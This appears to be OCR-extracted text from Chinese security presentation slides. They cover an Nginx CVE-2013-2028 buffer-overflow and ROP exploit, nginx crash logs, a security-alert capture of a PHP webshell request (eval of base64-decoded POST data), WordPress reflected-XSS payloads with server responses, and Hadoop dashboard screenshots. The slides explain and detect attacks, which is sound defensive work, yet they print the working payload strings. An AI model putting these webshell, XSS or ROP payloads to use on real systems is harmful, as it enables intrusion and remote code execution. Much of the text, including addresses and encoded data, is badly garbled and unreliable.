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A 55 v R B
o ZZHXKEH, a0 Nginx (CVE-2013-2028)

- AT AILH (Code Injection Attack)

Buffer overflow smashing EIP and jumping forward to ghellcode
1
|- |- Rt |
| ALARBDADDRRD ET | SHELLCODE |
|- | ———————— |- |
I args EBP EIP .
«  NZL ypace Layout

Randomization) =] I B4
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SN, 40 Nginx (CVE-2013-2028)

Return-Oriented Programming

"print 'A"*80 + "\x08\x85\x04\x08' + "\xTO\xEL\xF2\xB7' + .. + "\xC0\xe0\xEC\xB7' +
"\x01\xFF\xFF\xBF"' "

| | | | |

I 80 A's | 0x8048508 | 0xb7£2e170 | - | OxbTecé0c0 | Oxbffff£01

I I I | I -
args EBP EIP (gadgetl) gadgetZ - gadgetl0 /bin/sh

r
JC LI LUVLE, |EREAOLRNIZFRITT| AL

Overflowed Stack libe

Call Frame

Gadget Variables

Exploit Frames

1
2
3
4
5 E P
xploit Frame

6 -

V10 11 12 13 14 15 16 17
7 10 i1 42 i3 i4 i5 16 47
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«  SEELIDEPA
- {EiFgHET

.text:

0x401183

0x401170

0x401160
0x401150
0x401 140

0x401130

code /\

fragment

crash

crash

no crash

4

7

n

{540 : Nginx (CVE-2013-2028)

* Connection hangs

Stack:

Stop gadget Crash gadget Useful gadget
sleep(10); abort(); dup2(sock, 0);
return; return; return;

return address
0x401150

AAAAAAAAA
AAAAAAAAA

* Never crashes

* Always crashes

*Crash depends
on return
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2016/83/14 05:51:55 [error] 2184%48: *27682 clieat sent invalid chunked bodyurrrimiiniiii o e oes (- “HEAD / HTTP/1.1, eustwtiupipmes
2816/83/14 05:51:55 [alert] 10575#0: worker process 21849 exited on signal 11 (core dumped)
* 2616/63/14 05:51:55 [error] 2185128: *27684 */home/cp/exploit/nginx install/htal/index.htal* is forbidden (13: Permission deflied).w
, request: "HEAD / HTTP/L.1%,
2816/63/14 65:51:55 [error] 2185140: *27684 clieat sent invalid chunked body, ehsentwntENNUNUVETEREREERShemsiwtmecst: “HELD / HTTP/1.1%, hootwnbiousihonth
o | 2016/63/14 05:51:55 [alert] 1657548: worker process 21851 exited on signal 11 (core dumped) eful gadget
2016/63/14 85:51:58 [error] 21833#8: *27685 */home/cp/exploit/nginx install/htal/index.htal"* is forbidden (13: Permission deni — .
, request: "HEAD / HTTP/1.1°,

“ ) . )2(SOC|<, 0).
2016/83/14 05:51:58 [error] 21853#: *27685 client sent invalid chunked bod¥ SRS rcquest: "HEAD / HTTP/1.1", ieeupugppens '

2016/63/14 65:51:58 [alert] 16575#0: worker process 21853 exited on signal 11 (core dusped) return;
2016/83/14 85:51:58 [error] 2185548: *27686 */home/cp/exploit/ngink install/htal/index.htal® is forbidden (13: Permission deniet T NNgEDEINR
, request: "HEAD / m/l.l',m -ash depends
26816/83/14 05:51:58 [error] 21835#0: *27686 clieat sent invalid chunked body, tlieherver_request: "HEAD / HTTP/1.1" <eemeiinants
2016/83/14 85:51:58 [alert] 1657540: worker process 21855 exited on signal 11 (core duaped) | return
2016/83/14 85:51:58 [error] 21857#9: *27688 */home/cp/exploit/ngink install/htal/index.htal" is forbidden (13: Permission denied), client:dw

. , request: "HEAD / HTTP/1.1%, 3
2016/63/14 85:51:58 [error] 2185748: *27688 clieat sent invalid chunked body, ehimmmmbttuwinontvmumnmEIIIRN, request: HEXD / HTTP/1.1", YR

®  [2816/63/14 05:51:58 [alert] 18575#8: worker process 21857 exited on signal 11 (core dusped)
2816/63/14 85:51:58 [error) 2185%46: *27699 *fhone/cp/exploit/nginx install/htal/index.htal® is forbidden (13: Pernission denied), ciigmmmmnmmumuERENER
, request: "HEAD / HTTP/1.1", mmmtiepppiin:
2016/63/14 85:51:58 [error] 21833#8: *27899 clieat sent invalid chunked body, oINS cqucst: “HEAD / HTTP/1.1", S
2016/83/14 05:51:58 [alert] 1057540: worker process 21859 exited on signal 11 (core dumped)

2016/63/14 05:51:58 [error] 2186148: *27692 */home/cp/exploit/nginx install/htal/index.htal"* is forbidden (13: Penissiorm

, request: "HEAD / HTTP/1. 1", eshpuspsmmmmes

‘3915193/14 85:51:58 [error]) 21861#0: *27692 clieat sent invalid chunkw, request: "HEAD / HTTP/L.1", host: “‘umplimat’
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WebShell

Attack Alert From SecurityCenter o il

EiF A : sec_report < = —
Bf 8l: 2016F4H15H(E8AA) hF-1:46

l{’h 14: -"I'\_ : 4 ...

i P —

Attack_sip:66.249.66.116
Attack_dip:10.16.74.240
Attack_time:2016-04-15 13:42:08
Threat_Level:high

Attack_typename:[410601RSG HEFPHP—OIERS

http.request_headers.x-forwarded-for
ip
method

params

path

port

QD
Q Q@D
Q Q@
QD

QD
Q Q@D

66.249.66.116

10.16.74.240

POST

g=%40eval%*¥01%28base64_decode%28%24_P0OST%5Bz0%5 D%29%29%3B&z0=QG1uaV9zZXQoImRpc3BsYX1FfZXIyb3JzIiwiMCIpOO
BzZXRfdGT1tZV9sawlpdCagwKTtAc2V0OX21hZ21jX3F1b3R1cl19ydwW50awlT1KDApO2V]aG80I10%2BfCIpOzskRD1kaXJuYWLTKCRTUO
VSVKkVSWyITQLIJUFRFRKIMRUSBTUUI XSk7awWYoJEQ9PSIiKSREPWRpcmS hbWUoJFSTRVIWRVIbITBBVEhTVFIBTINMQVRFRCIdAKTsk
Uj0ieyREFVX0Ii141LXwi02TmKHNLYNNOCi gkRCwwLDEPITOiLyIpe2ZvemVhY2gocmFuZ2UoIkEiLCJaIlikgYXMgJEwpawYoaxXNfZG
TyKCI7IJEx901IpKSRSLj01eyRMTTo1030kU149ITx0IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXR1Z2TkIyvkpP0OBwb3Np
eF9NZXRwd3VpZChAcG9zaxXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk%2F JHVbI 25 hbWUnXTpAZ2VOX2N1cnJ TbnRFdXN1cigpOyRS
L31lwaHBfdwW5 hbWUoKTskUi149I1h7JHVZzcnOpIjtwemludCAkUIs7ZWNobygifDwtIik7ZG11KCk?

Jdxyylc/md5. php

80




Webshell

1£73 Tyb3 211 wiMCIp00B ZZXREAGL tZV05 W1 pdC zwKT tAc2VOXZ1 hZ21 X3F1b3R] 19y dW50 W1 1KDAp
02V aG3ol10%2B£CIp0z skRD1 kaX Tul' 1 LKCREUOVSVEVSWyTTQ1 TTUFRERKIMRUSETUV1 XSk 7 aWY o JEQS
PSI1KSREPWRpemShbWUo JFOTRY TWRY TbI1BEVELEVF TETLIMQVRFRC JTAKT skUj01 evRE £¥x0T141 Lw102
ImEKHN1¥ni0c1 ghRCwwLDEpITO1 LyIpe2ZvemVhY2 zoemFuZ2UoIkE1 LL Jal1 kg XMz TEwp Y 0 X NEZGLy
KCT7TEx901IpKSRSL)01 evEMET 01030k V14911 %01 ) skdT0oZnVu¥3Rpb26 £ZXhp c3RzKC dwb3NpeFOnZX
R1Z21k JykpPOBwb3NpeFInZXRwd3VpZChicGOz ahfZ2VOZXVpZC epKT onJ zsk diHyPS gk dSk¥2F THYB T2
ShbWUnATpAZZ2VOX2N1 enJ1bnREAXNL c1 gpOvRSL) 1waHB £AWShbWUoKT skU149T1 h7 THY zenOpI j twemlu
dCAKU ;) s7Z%Nobyz flwtI1k7ZGL1KCKT

4

S

q=eval (basefd_decode($_POST[z01)): i-;aﬂsluavgzzxgoImecsnsY}{l £ZXTvb3TzIiwiMCIp00B
TZAREAGLELVdsanlpdlgw c JX3F1b3R1c19ydW50a% 1 1KDApO2Y j aGBol10+£CIp0zskR
D1k al Ju¥W11KCREVOVSYKYSHy TTQ1 TTUFRERKIMRUSETUV: XSk 7 WY o TEQOPST i KSREPWRp emEhbHUo JF9
TRYTWRYTbI1BEVEREVF JTETLRMQVRFRC JTAKT sk ;01 evRE £Vx0T141 Lw1021mKHN1 ¥ri0 c1 gkRCwwLDEpI
TO1LyIpe2ZvemVh¥2zoemFuZ2UoIkE1LCTali kY XMz TEwp alY 0 aXNEZGLyKC T 7 JTEx901 IpKSRSL 01 eyR
MET01030kU14911%0T 5 skdT0oZnVu¥3Rpb25 £ZXhp c3RzKC dwb3NpeFOnZXR1Z21k JykpPOBwb3Np eFOnZ
XRwd3VpZChAcGIzaXhfZ2VOZXVPZIC zpKT onJ zsk dXNyPS gkdSk / THYb T25hbWUnX TpAZZVOX2H1 enJ1bnR
fdXN]lci1zp0vRSL)1waHBfAWShbWUoKT skU149T1 h7 THY zenOpI ) twemludCAkU  s7TZWNobyzi fwtIi1 k7Z
GL1KCk?




{"error™:{"code":768423,"message”:"You must be authorized and have permission \"edit_theme_options\" to call \"layout.css.get<body onload=prompt(990470)>\""}}

7~

~ 127.0.0.1

: Eﬁ Ik

@ ¥ : httpy//127.0.0.1/landing/wp-admin/admin-ajax.php?method=layout.css.get3%3C.

= (5]

heme_options\” to call \"layout. css.get body onload=prompt (990470) o

B C\wamp\wwwAlanding\wp-content\themes\startup\vendor\Designmodo\WpTheme\Utility\Api.php - Sublime Text

B 3+ A © 9

i

XD WRE =ZRNQ X0 S8V w9 TAaD

REE EEWN) ®&BHH)

index.php
admin-ajax.php

ajax-actions.php
x

wp-load.php

!

Smethod htmlentities(s

REQUEST[

$publicMethods

V-



XSS it

- params

path

port

L proc

L query

“ real_ip

' response

Q Q@
e Qm
e QM
Q QM@
@ QM

- m

action=sf_api&method=layout.css.get¥%3Csvg+onload¥3Dalert¥22%2
7loglog%27%29%3E

/landing/wp-admin/admin-ajax. php
9,090

GET /landing/wp-admin/admin-ajax.php
203.156.235.138

A

HTTP/1.1 200 OK

Date: Fri, 22 Apr 2016 02:32:32 GMT

Server: Apache/2.2.15 (Cent0S)

Set-Cookie: WA_FROM=deleted; expires=Thu, 23-Apr-201S @2:32:3
1 GMT; path=/

Set-Cookie: WA_TO=deleted; expires=Thu, 23-Apr-2015 02:32:31
GMT; path=/

X-Robots-Tag: noindex

X-Content-Type-Options: nosniff

Expires: Wed, 11 Jan 1984 ©5:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

Pragma: no-cache

X-Frame-Options: SAMEORIGIN

Content-Length: 168

Connection: close

Content-Type: text/html; charset=UTF-8

{"error":{"code":768423, "message": "You must be authorized and
have permission \"edit_theme_options\" to call \"layout.css.

| get&lt;svg onload=alert(\\"loglog\\')&gt;\""}} |
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Hadoop Overview Datanodes Snapshot Startup Progress Utilities

Overview 'master1-2000' (active)

Started:
Version:
Compiled:
Cluster ID:

Block Pool ID:

Thu Apr 07 14:03:18 CST 2016

2.6.0, re3496499ecb8d220fba99dc5ed4c99c89e33bb1
2014-11-13T21:10Z by jenkins from (detached from e349649)
CID-612c6e7a-51bd-4d8e-a7a4-6b311c6eeD13

BP-675277748-10.16.78.223-1451283125649
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Logged in as: dr.

All Applications

* Cluster
About
Nodes

Applications
NEW

NEW SAVING

SUBMITTED
ACCEPTED
RUNNING
FINISHED
FAILED
KILLED

Cluster Metrics
Apps Apps Apps Apps Containers Memory Memory Memory VCores VCores VCores Active Decommissioned Lost Unhealthy Rebooi

Submitted Pending Running Completed Running  Used  Total Reserved Used Total Reserved Nodes Nodes Nodes  Nodes Node
| 57 0 0 57 0 0B 16GB 0B 0 16 0 2 0 0 0 0
‘Show 20 v entries Search:
ID + USer Name¢ Application Type ¢ Queue ¢ StartTime ¢  FinishTime ¢  State ¢ FinalStatus ¢  Progress ¢ 1'2cking
application_1460009032858_0066 root  Login  MAPREDUCE default  Thu, 21 Apr Thu,21Apr  FINISHED SUCCEEDED | History
Statistic 2016 2016

10:09:31 10:15:41
GMT GMT
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